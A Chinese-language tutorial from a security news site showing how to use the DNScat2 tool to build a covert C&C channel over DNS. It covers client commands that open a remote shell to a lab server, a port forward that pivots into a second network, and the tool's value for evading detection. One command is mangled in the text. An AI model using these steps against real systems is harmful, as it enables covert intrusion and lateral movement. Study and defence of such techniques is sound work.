DNScat2工具:通过DNS进行C&C通信 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

DNScat2工具:通过DNS进行C&C通信

DarkEye 安全工具 2019-04-16 11:02:02
674272
收藏

导语:​在今天这篇文章中,我们将通过DNScat2这个神器来学习DNS隧道技术。

介绍DNS

域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。

介绍DNScat

DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。

客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。

服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。

安装

运行下面这条git命令来下载DNScat2:

git clone //github.com/iagox86/dnscat2.git

1.png

接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:

gem install bundler
bundle install

2.png

安装完依赖环境之后,执行下面这条命令来启动服务端:

ruby dnscat2.rb

3.png

同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:

4.png

要让客户端和服务端通信,执行下面这条命令即可:

./dnscat2 --dns-server=192.168.174.131,port=53

5.png

一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。

6.png

要进入刚才建立的session并与其交互,执行下面这条命令:

session -i 1

现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。

7.png

下图是客户端ping命令的响应:

8.png

此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。

9.png

与新的终端中打开的shell会话中进行交互,输入下面这两条命令:

windows
session -i 2

10.png

当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。

DNS隧道技术

DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。

11.png

建立DNS隧道转发,先执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

12.png

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh cell@127.0.0.1 -p 888

连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:

13.png

由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:

dnscat2.exe --dns+server+192.168.174.131,port+53

14.png

执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:

sessions
session -i 2

进入会话之后,你就可以执行任意命令了。

15.png

而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。

16.png

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务